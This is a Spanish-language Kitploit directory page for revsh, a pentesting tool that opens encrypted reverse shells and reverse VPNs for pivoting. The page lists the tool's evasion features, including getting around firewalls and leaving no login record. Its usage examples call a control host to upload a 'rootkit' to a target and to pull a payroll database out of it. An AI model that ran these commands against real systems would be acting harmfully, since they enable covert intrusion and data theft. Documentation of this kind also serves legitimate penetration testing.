Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
revsh — Un reverse shell con soporte de terminal, tunelización de datos y capacidades avanzadas de pivoteo. | Kitploit
Herramientas/GitHubGitHub/emptymonkey/revsh
Herramientas de Cifrado/DescifradoMapeo de RedesEvasión de IDS/IPSMovimiento LateralPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHubemptymonkey/revsh

revsh

Un reverse shell con soporte de terminal, tunelización de datos y capacidades avanzadas de pivoteo.

469929hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

revsh

revsh es una herramienta para establecer shells inversas con soporte de terminal, VPN inversas para pivoteo avanzado, así como tunelización de datos arbitrarios.

Novedades

  • 2018-08-09: Nueva versión. Principalmente correcciones de errores/estabilidad y mejor documentación sobre el proceso de compilación con OpenSSL 1.1.0. Consulte la sección Instalación a continuación para obtener las instrucciones de compilación actualizadas.

Visión general

¿Qué es una "shell inversa"?

Una shell inversa es una conexión de red que concede acceso a un shell a un host remoto. A diferencia de otras herramientas de inicio de sesión remoto como telnet y ssh, una shell inversa es iniciada por el host remoto. Esta técnica de conexión saliente desde la red remota permite evadir firewalls configurados para bloquear solo conexiones entrantes.

¿Qué es una "VPN inversa"?

revsh es capaz de adjuntar una tarjeta ethernet virtual (tun/tap) a ambos extremos de su túnel cifrado. Estas tarjetas pueden usarse luego para reenviar paquetes IP brutos o tramas ethernet. Cuando se combina con una regla NAT de Iptables, o se puentea una tarjeta ethernet real, esto permite que el operador reciba una dirección IP totalmente enrutable en la red de las máquinas objetivo. Esto, esencialmente, es una VPN completa que ha realizado una llamada de conexión inversa al operador para evadir el filtrado de paquetes entrantes y otorgar al operador acceso total a la red. (Consulte "Documentation/REVERSE_VPN.md" para más información.)

¿Qué es una "shell vinculada"?

Una shell vinculada es un shell que se sirve desde una conexión de red normal hacia adelante. revsh soporta tanto shells inversas como vinculadas. Para invocar una shell vinculada, puede invocar la bandera -b en ambos extremos de la conexión, o invocar el binario como 'bindsh'.

¿No puedo usar simplemente netcat?

Existen muchas técnicas para establecer una shell inversa, pero estos métodos no proporcionan soporte de terminal. revsh permite una shell inversa cuya conexión es mediada por un pseudo-terminal, y por lo tanto permite características como:

  • control de trabajos
  • procesamiento de caracteres de control (ej. Ctrl-C)
  • autocompletado
  • soporte para programas que requieren un tty controlador (ej. vi)
  • procesamiento de eventos de cambio de tamaño de ventana

Además, revsh también ofrece las siguientes características:

  • Soporte para UTF-8.
  • Evita utmp / wtmp. (No se registra inicio de sesión.)
  • Procesa comandos de archivo rc al iniciar sesión para facilitar la automatización.
  • Cifrado OpenSSL con autenticación basada en claves integrada en el binario.
  • Cifrado anónimo Diffie-Hellman bajo pedido.
  • Cifrado Diffie-Hellman efímero como predeterminado. (¡Ahora con más Perfect Forward Secrecy!)
  • Fijación de certificados para protección contra sinkholes y mitm contra-intrusión.
  • Tiempo de espera de conexión para auto-terminación del proceso remoto.
  • Temporizadores de reintento aleatorizados para reconexión automática no predecible.
  • Intermediación de datos no interactiva estilo netcat para transferencia de archivos.
  • Soporte de proxy: punto a punto, SOCKS 4, SOCKS 4a y SOCKS 5. Los proxies están disponibles en ambas direcciones para máxima flexibilidad.
  • Soporte TUN / TAP para reenviar paquetes IP brutos / tramas Ethernet.
  • Comandos de secuencia de escape para matar nodos que no responden, o imprimir estadísticas de conexión.

revsh está pensado como una herramienta complementaria para el kit de herramientas de un pentester que proporciona el conjunto completo de funciones de terminal a través de un túnel cifrado.

¿Dónde puedo usar revsh?

revsh fue desarrollado en Linux x86_64. Aquí hay una breve lista de combinaciones de Arquitectura/SO en las que se ha utilizado:

  • Linux x86_64
  • Linux i686
  • FreeBSD amd64

(Si ha usado revsh con éxito en otra plataforma, envíeme un mensaje y lo agregaré a la lista.)

Uso

root@kitploit:~
empty@monkey:~$ revsh -h

Control:	revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target:		revsh     [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]

	ADDRESS		The address of the control listener.		(Default is "0.0.0.0".)
	PORT		The port of the control listener.		(Default is "2200".)

CONTROL_OPTIONS:
	-c		Run in "command and control" mode.		(Default is target mode.)
	-a		Enable Anonymous Diffie-Hellman mode.		(Default is Ephemeral Diffie-Hellman.)
	-d KEYS_DIR	Reference the keys in an alternate directory.	(Default is "~/.revsh/keys/".)
	-f RC_FILE	Reference an alternate rc file.			(Default is "~/.revsh/rc".)
	-s SHELL	Invoke SHELL as the remote shell.		(Default is "/bin/bash".)
	-F LOG_FILE	Log general use and errors to LOG_FILE.		(No default set.)

TARGET_OPTIONS:
	-t SEC		Set the connection timeout to SEC seconds.	(Default is "3600".)
	-r SEC1,SEC2	Set the retry time to be SEC1 seconds, or	(Default is "600,1200".)
			to be random in the range from SEC1 to SEC2.

MUTUAL_OPTIONS:
	-k		Run in keep-alive mode.
			Node will neither exit normally, nor timeout.
	-L [LHOST:]LPORT:RHOST:RPORT
			Static socket forwarding with a local listener
			at LHOST:LPORT forwarding to RHOST:RPORT.
	-R [RHOST:]RPORT:LHOST:LPORT
			Static socket forwarding with a remote listener
			at RHOST:RPORT forwarding to LHOST:LPORT.
	-D [LHOST:]LPORT
			Dynamic socket forwarding with a local listener
			at LHOST:LPORT.					(Socks 4, 4a, and 5. TCP connect only.)
	-B [RHOST:]RPORT
			Dynamic socket forwarding with a remote
			listener at LHOST:LPORT.			(Socks 4, 4a, and 5. TCP connect only.)
	-x		Disable automatic setup of proxies.		(Defaults: Proxy D2280 and tun/tap devices.)
	-b		Start in bind shell mode.			(Default is reverse shell mode.)
			The -b flag must be invoked on both ends.
	-n		Non-interactive netcat style data broker.	(Default is interactive w/remote tty.)
			No tty. Useful for copying files.
	-v		Verbose. -vv and -vvv increase verbosity.
	-V		Print the program and protocol versions.
	-h		Print this help.
	-e		Print out some usage examples.

Instalación

Primero, necesitarás compilar OpenSSL desde el código fuente. (Ver NOTA a continuación.)

root@kitploit:~
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static	# These options are needed to build static applications against OpenSSL.
make && make test	# We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..

Ahora compila revsh.

root@kitploit:~
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # Set up new defaults that fit your situation.
vi Makefile        # Check that the selected build environment is the one you want. (It probably already is by default.)
make               # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc     # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h

NOTA: Con el lanzamiento de OpenSSL 1.1.0, OpenSSL necesita ser compilado desde el código fuente para ser usado en un binario enlazado estáticamente. Compilar un binario enlazado estáticamente contra las librerías OpenSSL que vienen con la mayoría de las distribuciones Linux (incluyendo Kali) no funcionará. (Si llega a compilar, generará un SEGFAULT.)

Ejemplos

Ejemplo de IP del host de control: 192.168.0.42
Ejemplo de IP del host objetivo: 192.168.0.66

root@kitploit:~
Interactive example on default port '2200':
	control:	revsh -c
	target:		revsh 192.168.0.42

Interactive example on non-standard port '443':
	control:	revsh -c 192.168.0.42:443
	target:		revsh 192.168.0.42:443

Bindshell example:
	target:		revsh -b
	control:	revsh -c -b 192.168.0.66

Non-interactive file upload example:
	control:	cat ~/bin/rootkit | revsh -c -n
	target:		revsh 192.168.0.42 > ./totally_not_a_rootkit

Non-interactive file download example:
	control:	revsh -c -n >payroll_db.tar
	target:		cat payroll_db.tar | revsh 192.168.0.42

Non-interactive file download example across existing tunnel:
	control:	revsh -c -n 127.0.0.1:2291 >payroll_db.tar
	target:		cat payroll_db.tar | revsh 127.0.0.1:2290
Descargar herramienta